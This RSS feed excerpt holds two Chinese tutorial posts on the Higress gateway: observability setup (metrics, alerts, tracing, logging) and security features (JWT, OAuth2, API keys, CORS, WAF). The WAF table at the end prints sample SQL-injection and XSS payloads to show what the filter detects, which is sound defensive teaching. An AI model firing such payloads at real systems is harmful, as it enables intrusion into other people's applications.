&lt;th&gt;面板&lt;/th&gt;
&lt;th&gt;指标&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;总览&lt;/td&gt;
&lt;td&gt;QPS、延迟、错误率&lt;/td&gt;
&lt;td&gt;全局健康度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;路由分析&lt;/td&gt;
&lt;td&gt;按路由分组的 QPS/延迟&lt;/td&gt;
&lt;td&gt;定位慢接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上游服务&lt;/td&gt;
&lt;td&gt;上游延迟、错误、连接数&lt;/td&gt;
&lt;td&gt;依赖健康度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;资源使用&lt;/td&gt;
&lt;td&gt;CPU、内存、连接数&lt;/td&gt;
&lt;td&gt;容量规划&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;插件监控&lt;/td&gt;
&lt;td&gt;插件执行耗时、错误&lt;/td&gt;
&lt;td&gt;插件性能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;告警规则&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Prometheus AlertManager 规则
groups:
  - name: higress-alerts
    rules:
      # 高错误率告警
      - alert: HigressHighErrorRate
        expr: |
          sum(rate(envoy_http_downstream_rq_5xx[5m])) 
          / 
          sum(rate(envoy_http_downstream_rq_total[5m])) &amp;gt; 0.05
        for: 2m
        labels:
          severity: critical
        annotations:
          summary: &quot;Higress 错误率超过 5%&quot;
      
      # 高延迟告警
      - alert: HigressHighLatency
        expr: |
          histogram_quantile(0.99, 
            rate(envoy_http_downstream_rq_time_bucket[5m])
          ) &amp;gt; 1000
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: &quot;Higress P99 延迟超过 1s&quot;
      
      # 上游服务不可用
      - alert: HigressUpstreamDown
        expr: envoy_cluster_upstream_cx_active == 0
        for: 1m
        labels:
          severity: critical
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Tracing 链路追踪&lt;/h2&gt;
&lt;h3&gt;支持的后端&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;后端&lt;/th&gt;
&lt;th&gt;协议&lt;/th&gt;
&lt;th&gt;配置方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Jaeger&lt;/td&gt;
&lt;td&gt;Zipkin / OTLP&lt;/td&gt;
&lt;td&gt;ConfigMap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Zipkin&lt;/td&gt;
&lt;td&gt;Zipkin&lt;/td&gt;
&lt;td&gt;ConfigMap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SkyWalking&lt;/td&gt;
&lt;td&gt;SkyWalking&lt;/td&gt;
&lt;td&gt;ConfigMap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenTelemetry&lt;/td&gt;
&lt;td&gt;OTLP&lt;/td&gt;
&lt;td&gt;ConfigMap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;启用 Tracing（Jaeger）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    o11y:
      tracing:
        enabled: true
        # Jaeger 配置
        provider: jaeger
        jaeger:
          collector: jaeger-collector.jaeger.svc.cluster.local:9411
          # 采样率（0.0-1.0）
          sampling:
            type: probabilistic
            value: 0.1        # 10% 采样
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;启用 Tracing（SkyWalking）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;data:
  higress: |
    o11y:
      tracing:
        enabled: true
        provider: skywalking
        skywalking:
          service: oap.skywalking.svc.cluster.local:11800
          sampling:
            type: rate
            value: 100        # 每秒 100 个请求
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Trace 传播&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Higress 自动传播 Trace Header
# 支持的 Header：
# - X-Request-Id（Envoy 原生）
# - X-B3-TraceId / X-B3-SpanId（Zipkin）
# - traceparent / tracestate（W3C Trace Context）
# - sw8（SkyWalking）

# 上游服务需要：
# 1. 读取这些 Header
# 2. 创建子 Span
# 3. 继续传播到下游
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查看 Trace&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Jaeger UI
kubectl port-forward svc/jaeger-query 16686:16686 -n jaeger
open http://localhost:16686

# SkyWalking UI
kubectl port-forward svc/skywalking-ui 8080:8080 -n skywalking
open http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;访问日志&lt;/h2&gt;
&lt;h3&gt;日志格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    accessLog:
      enabled: true
      # JSON 格式（推荐，便于 ELK 解析）
      format: json
      # 自定义字段
      template: |
        {
          &quot;timestamp&quot;: &quot;%START_TIME%&quot;,
          &quot;method&quot;: &quot;%REQ(:METHOD)%&quot;,
          &quot;path&quot;: &quot;%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%&quot;,
          &quot;protocol&quot;: &quot;%PROTOCOL%&quot;,
          &quot;response_code&quot;: &quot;%RESPONSE_CODE%&quot;,
          &quot;response_flags&quot;: &quot;%RESPONSE_FLAGS%&quot;,
          &quot;bytes_received&quot;: &quot;%BYTES_RECEIVED%&quot;,
          &quot;bytes_sent&quot;: &quot;%BYTES_SENT%&quot;,
          &quot;duration&quot;: &quot;%DURATION%&quot;,
          &quot;upstream_service_time&quot;: &quot;%RESP(X-ENVOY-UPSTREAM-SERVICE-TIME)%&quot;,
          &quot;x_forwarded_for&quot;: &quot;%REQ(X-FORWARDED-FOR)%&quot;,
          &quot;user_agent&quot;: &quot;%REQ(USER-AGENT)%&quot;,
          &quot;request_id&quot;: &quot;%REQ(X-REQUEST-ID)%&quot;,
          &quot;authority&quot;: &quot;%REQ(:AUTHORITY)%&quot;,
          &quot;upstream_host&quot;: &quot;%UPSTREAM_HOST%&quot;,
          &quot;upstream_cluster&quot;: &quot;%UPSTREAM_CLUSTER%&quot;,
          &quot;route_name&quot;: &quot;%ROUTE_NAME%&quot;
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;日志字段说明&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%START_TIME%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;请求开始时间&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2026-09-17T10:30:00.000Z&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%REQ(:METHOD)%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTTP 方法&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;原始路径&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/users&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%RESPONSE_CODE%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;响应状态码&lt;/td&gt;
&lt;td&gt;&lt;code&gt;200&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%RESPONSE_FLAGS%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;响应标志&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;（正常）/ &lt;code&gt;UH&lt;/code&gt;（上游不健康）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%DURATION%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;总耗时（ms）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;150&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%RESP(X-ENVOY-UPSTREAM-SERVICE-TIME)%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游耗时&lt;/td&gt;
&lt;td&gt;&lt;code&gt;120&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%UPSTREAM_HOST%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游实例&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10.0.0.5:8080&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%UPSTREAM_CLUSTER%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游集群&lt;/td&gt;
&lt;td&gt;`outbound&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%ROUTE_NAME%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;路由名称&lt;/td&gt;
&lt;td&gt;&lt;code&gt;api-route.default&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;响应标志（RESPONSE_FLAGS）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;标志&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;正常&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游无健康实例&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游连接失败&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游过载（熔断）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无路由匹配&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;URX&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游重试耗尽&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;限流触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;客户端断开&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游超时&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;日志输出位置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 标准输出（kubectl logs）
kubectl logs -n higress-system deploy/higress-gateway -f

# 文件（需配置 volume）
/var/log/higress/access.log

# 远程（Fluentd/Filebeat 收集）
# 配置 sidecar 或 DaemonSet 收集
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;集成 ELK/Loki&lt;/h2&gt;
&lt;h3&gt;Fluentd 收集&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# fluentd-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluentd-config
data:
  higress.conf: |
    &amp;lt;source&amp;gt;
      @type tail
      path /var/log/containers/higress-gateway*.log
      pos_file /var/log/fluentd-higress.log.pos
      tag higress.access
      format json
      time_format %Y-%m-%dT%H:%M:%S.%NZ
    &amp;lt;/source&amp;gt;
    
    &amp;lt;filter higress.access&amp;gt;
      @type record_transformer
      &amp;lt;record&amp;gt;
        service higress
        component gateway
      &amp;lt;/record&amp;gt;
    &amp;lt;/filter&amp;gt;
    
    &amp;lt;match higress.access&amp;gt;
      @type elasticsearch
      host elasticsearch.elastic.svc.cluster.local
      port 9200
      logstash_format true
      logstash_prefix higress-access
    &amp;lt;/match&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Loki 收集&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# promtail-config.yaml
scrape_configs:
  - job_name: higress
    kubernetes_sd_configs:
      - role: pod
        namespaces:
          names: [&apos;higress-system&apos;]
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_label_app]
        regex: higress-gateway
        action: keep
      - source_labels: [__meta_kubernetes_pod_name]
        target_label: pod
    pipeline_stages:
      - json:
          expressions:
            method: method
            path: path
            status: response_code
            duration: duration
      - labels:
          method:
          status:
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战：完整可观测性方案&lt;/h2&gt;
&lt;h3&gt;架构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Higress Gateway
   ├── Metrics → Prometheus → Grafana（监控面板）
   ├── Tracing → Jaeger/SkyWalking（链路追踪）
   └── Logging → Fluentd → Elasticsearch → Kibana（日志分析）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Helm Values 完整配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;higress-core:
  gateway:
    metrics:
      enabled: true
      port: 15020
    
    accessLog:
      enabled: true
      format: json

global:
  o11y:
    enabled: true
    grafana:
      enabled: true
      # 自动导入 Higress Dashboard
      dashboards:
        higress: true
    prometheus:
      enabled: true
      # 自动配置 scrape
      scrapeHigress: true
    tracing:
      enabled: true
      provider: jaeger
      jaeger:
        collector: jaeger-collector.jaeger.svc.cluster.local:9411
        sampling:
          type: probabilistic
          value: 0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;验证可观测性&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. Metrics
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15020/stats/prometheus | grep envoy_http

# 2. Tracing（发送测试请求后查看 Jaeger UI）
curl http://api.example.com/api/test
open http://localhost:16686

# 3. Logging
kubectl logs -n higress-system deploy/higress-gateway --tail=10 | jq

# 4. Grafana Dashboard
kubectl port-forward svc/grafana 3000:3000 -n monitoring
open http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: Prometheus 抓取不到指标&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 确认 Metrics 端口
kubectl get svc higress-gateway -n higress-system -o yaml | grep 15020

# 2. 手动测试
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15020/stats/prometheus

# 3. 检查 Prometheus targets
open http://prometheus:9090/targets
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: Tracing 链路断裂&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 确认上游服务传播 Trace Header
# 检查上游服务是否读取并传播：
# - X-Request-Id
# - X-B3-TraceId / X-B3-SpanId
# - traceparent / tracestate

# 2. 确认采样率
# 采样率太低可能导致链路不完整

# 3. 检查时钟同步
# 各节点时钟偏差会导致 Span 顺序错乱
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 日志量太大&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 降低采样率（只记录错误和慢请求）
accessLog:
  enabled: true
  # 只记录 5xx 和 &amp;gt;1s 的请求
  filter:
    statusCode: &quot;&amp;gt;=500&quot;
    duration: &quot;&amp;gt;=1000&quot;

# 2. 精简字段
template: |
  {
    &quot;timestamp&quot;: &quot;%START_TIME%&quot;,
    &quot;method&quot;: &quot;%REQ(:METHOD)%&quot;,
    &quot;path&quot;: &quot;%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%&quot;,
    &quot;response_code&quot;: &quot;%RESPONSE_CODE%&quot;,
    &quot;duration&quot;: &quot;%DURATION%&quot;
  }

# 3. 日志轮转
# 配置 logrotate 或 Fluentd buffer
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;三大支柱&lt;/strong&gt;：Metrics（Prometheus）、Tracing（Jaeger/SkyWalking）、Logging（ELK/Loki）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键指标&lt;/strong&gt;：QPS、P99 延迟、错误率、上游连接数、资源使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PromQL&lt;/strong&gt;：&lt;code&gt;rate()&lt;/code&gt; 计算 QPS，&lt;code&gt;histogram_quantile()&lt;/code&gt; 计算分位数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracing 传播&lt;/strong&gt;：X-Request-Id / X-B3-* / traceparent / sw8&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志格式&lt;/strong&gt;：JSON（推荐），关键字段：duration、upstream_service_time、response_flags&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应标志&lt;/strong&gt;：UH（上游不健康）、UF（连接失败）、RL（限流）、UT（超时）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grafana Dashboard&lt;/strong&gt;：总览、路由分析、上游服务、资源使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;告警规则&lt;/strong&gt;：错误率 &amp;gt; 5%、P99 &amp;gt; 1s、上游不可用&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-08-wasm-basics/&quot;&gt;Wasm 插件基础&lt;/a&gt; 将讲解 Proxy-Wasm 规范、沙箱隔离、热更新、OCI 镜像分发等 Wasm 插件核心机制。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 安全认证</title><link>http://117.72.32.87/blog/posts/higress-roadmap-06-security/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-06-security/</guid><description>详解 Higress 安全能力：JWT/OAuth2/API Key 认证、CORS 跨域、WAF 防护、mTLS 双向认证、IP 黑白名单。</description><pubDate>Thu, 17 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
安全是网关的第一道防线。Higress 提供认证、鉴权、WAF、加密传输等完整安全能力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;安全能力全景&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;请求进入
   │
   ▼
┌─────────────────┐
│  IP 黑白名单    │  ← 网络层过滤
├─────────────────┤
│  CORS 跨域      │  ← 浏览器同源策略
├─────────────────┤
│  WAF 防护       │  ← SQL 注入/XSS/CC 攻击
├─────────────────┤
│  认证           │  ← JWT/OAuth2/API Key
├─────────────────┤
│  鉴权           │  ← RBAC/ABAC 权限控制
├─────────────────┤
│  mTLS           │  ← 双向 TLS 加密
└─────────────────┘
   │
   ▼
上游服务
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;JWT 认证&lt;/h2&gt;
&lt;h3&gt;配置 JWT 认证&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 启用 JWT 认证
    higress.io/auth-type: &quot;jwt&quot;
    # JWT 密钥（JWKS URI 或本地密钥）
    higress.io/auth-jwt-jwks-uri: &quot;https://auth.example.com/.well-known/jwks.json&quot;
    # 或本地密钥
    # higress.io/auth-jwt-secret: &quot;your-256-bit-secret&quot;
    # higress.io/auth-jwt-algorithm: &quot;HS256&quot;
    # JWT 位置（header/query/cookie）
    higress.io/auth-jwt-from: &quot;header&quot;
    higress.io/auth-jwt-header: &quot;Authorization&quot;
    higress.io/auth-jwt-prefix: &quot;Bearer &quot;
    # 校验字段
    higress.io/auth-jwt-issuer: &quot;https://auth.example.com&quot;
    higress.io/auth-jwt-audience: &quot;api.example.com&quot;
    # 透传字段到上游
    higress.io/auth-jwt-forward-claims: &quot;sub,email,roles&quot;
    higress.io/auth-jwt-forward-header-prefix: &quot;X-JWT-&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-service
                port: { number: 8080 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JWT 认证流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 客户端请求携带 JWT
   Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

2. Higress 提取 JWT

3. 验证签名
   - 从 JWKS URI 获取公钥（缓存）
   - 或用本地密钥验证

4. 验证 Claims
   - iss（签发者）
   - aud（受众）
   - exp（过期时间）
   - nbf（生效时间）

5. 验证通过 → 转发到上游（携带用户信息 Header）
   验证失败 → 返回 401 Unauthorized
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;上游获取用户信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Higress 自动添加 Header
X-JWT-sub: user123
X-JWT-email: user@example.com
X-JWT-roles: admin,developer

# 上游服务读取
const userId = req.headers[&apos;x-jwt-sub&apos;];
const roles = req.headers[&apos;x-jwt-roles&apos;].split(&apos;,&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;白名单路径（无需认证）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/auth-type: &quot;jwt&quot;
    higress.io/auth-jwt-jwks-uri: &quot;https://auth.example.com/.well-known/jwks.json&quot;
    # 白名单路径（正则）
    higress.io/auth-white-list: &quot;/api/health,/api/public/.*,/api/login&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;OAuth2 认证&lt;/h2&gt;
&lt;h3&gt;OAuth2 授权码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: oauth2-route
  annotations:
    higress.io/auth-type: &quot;oauth2&quot;
    higress.io/auth-oauth2-issuer: &quot;https://auth.example.com&quot;
    higress.io/auth-oauth2-client-id: &quot;your-client-id&quot;
    higress.io/auth-oauth2-client-secret: &quot;your-client-secret&quot;
    higress.io/auth-oauth2-redirect-uri: &quot;https://api.example.com/oauth2/callback&quot;
    higress.io/auth-oauth2-scopes: &quot;openid,profile,email&quot;
    # Cookie 配置
    higress.io/auth-oauth2-cookie-name: &quot;_oauth2_token&quot;
    higress.io/auth-oauth2-cookie-domain: &quot;.example.com&quot;
    higress.io/auth-oauth2-cookie-secure: &quot;true&quot;
    higress.io/auth-oauth2-cookie-http-only: &quot;true&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /
            backend:
              service:
                name: web-service
                port: { number: 8080 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;OAuth2 流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 用户访问受保护资源
   GET https://api.example.com/dashboard

2. Higress 检测无有效 Cookie → 302 重定向到授权服务器
   Location: https://auth.example.com/authorize?
     client_id=your-client-id&amp;amp;
     redirect_uri=https://api.example.com/oauth2/callback&amp;amp;
     scope=openid profile email&amp;amp;
     response_type=code&amp;amp;
     state=random-state

3. 用户在授权服务器登录并授权

4. 授权服务器回调 Higress
   GET https://api.example.com/oauth2/callback?code=xxx&amp;amp;state=random-state

5. Higress 用 code 换取 access_token + id_token

6. Higress 设置 Cookie，重定向到原始请求
   Set-Cookie: _oauth2_token=xxx; Domain=.example.com; Secure; HttpOnly
   Location: https://api.example.com/dashboard

7. 后续请求携带 Cookie，Higress 验证后转发
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;API Key 认证&lt;/h2&gt;
&lt;h3&gt;配置 API Key&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/auth-type: &quot;api-key&quot;
    # API Key 位置（header/query）
    higress.io/auth-api-key-from: &quot;header&quot;
    higress.io/auth-api-key-header: &quot;X-API-Key&quot;
    # API Key 列表（支持多个）
    higress.io/auth-api-key-list: |
      key1: {&quot;name&quot;:&quot;client-a&quot;,&quot;quota&quot;:1000}
      key2: {&quot;name&quot;:&quot;client-b&quot;,&quot;quota&quot;:5000}
      key3: {&quot;name&quot;:&quot;client-c&quot;,&quot;quota&quot;:10000}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;结合限流&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/auth-type: &quot;api-key&quot;
    higress.io/auth-api-key-header: &quot;X-API-Key&quot;
    higress.io/auth-api-key-list: |
      key1: {&quot;name&quot;:&quot;free&quot;,&quot;quota&quot;:100}
      key2: {&quot;name&quot;:&quot;pro&quot;,&quot;quota&quot;:10000}
    # 按 API Key 限流
    higress.io/limit-by-header: &quot;X-API-Key&quot;
    higress.io/limit-rps: &quot;100&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;CORS 跨域&lt;/h2&gt;
&lt;h3&gt;配置 CORS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/enable-cors: &quot;true&quot;
    higress.io/cors-allow-origin: &quot;https://web.example.com&quot;
    # 多个域名用逗号分隔
    # higress.io/cors-allow-origin: &quot;https://web.example.com,https://admin.example.com&quot;
    # 或通配符（不推荐生产）
    # higress.io/cors-allow-origin: &quot;*&quot;
    higress.io/cors-allow-methods: &quot;GET,POST,PUT,DELETE,OPTIONS&quot;
    higress.io/cors-allow-headers: &quot;Authorization,Content-Type,X-Requested-With&quot;
    higress.io/cors-expose-headers: &quot;X-Total-Count,X-Request-Id&quot;
    higress.io/cors-allow-credentials: &quot;true&quot;
    higress.io/cors-max-age: &quot;86400&quot;    # 预检请求缓存 24 小时
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CORS 预检请求处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;浏览器发送 OPTIONS 预检请求
   ↓
Higress 自动响应（不转发到上游）
   Access-Control-Allow-Origin: https://web.example.com
   Access-Control-Allow-Methods: GET,POST,PUT,DELETE
   Access-Control-Allow-Headers: Authorization,Content-Type
   Access-Control-Max-Age: 86400
   ↓
浏览器发送实际请求
   ↓
Higress 转发到上游，响应添加 CORS Header
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;WAF 防护&lt;/h2&gt;
&lt;h3&gt;启用 WAF&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/waf-enabled: &quot;true&quot;
    # OWASP CRS 规则集
    higress.io/waf-rules: &quot;sql-injection,xss,code-injection,path-traversal&quot;
    # 防护模式（block/log）
    higress.io/waf-mode: &quot;block&quot;
    # 自定义规则
    higress.io/waf-custom-rules: |
      - name: block-china
        action: block
        conditions:
          - type: ip
            operator: notIn
            values: [&quot;CN&quot;]
      - name: rate-limit-login
        action: limit
        rate: 10
        period: 60s
        conditions:
          - type: path
            operator: equals
            values: [&quot;/api/login&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;WAF 防护类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SQL 注入&lt;/td&gt;
&lt;td&gt;检测 SQL 关键字&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos; OR 1=1--&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS&lt;/td&gt;
&lt;td&gt;检测脚本标签&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
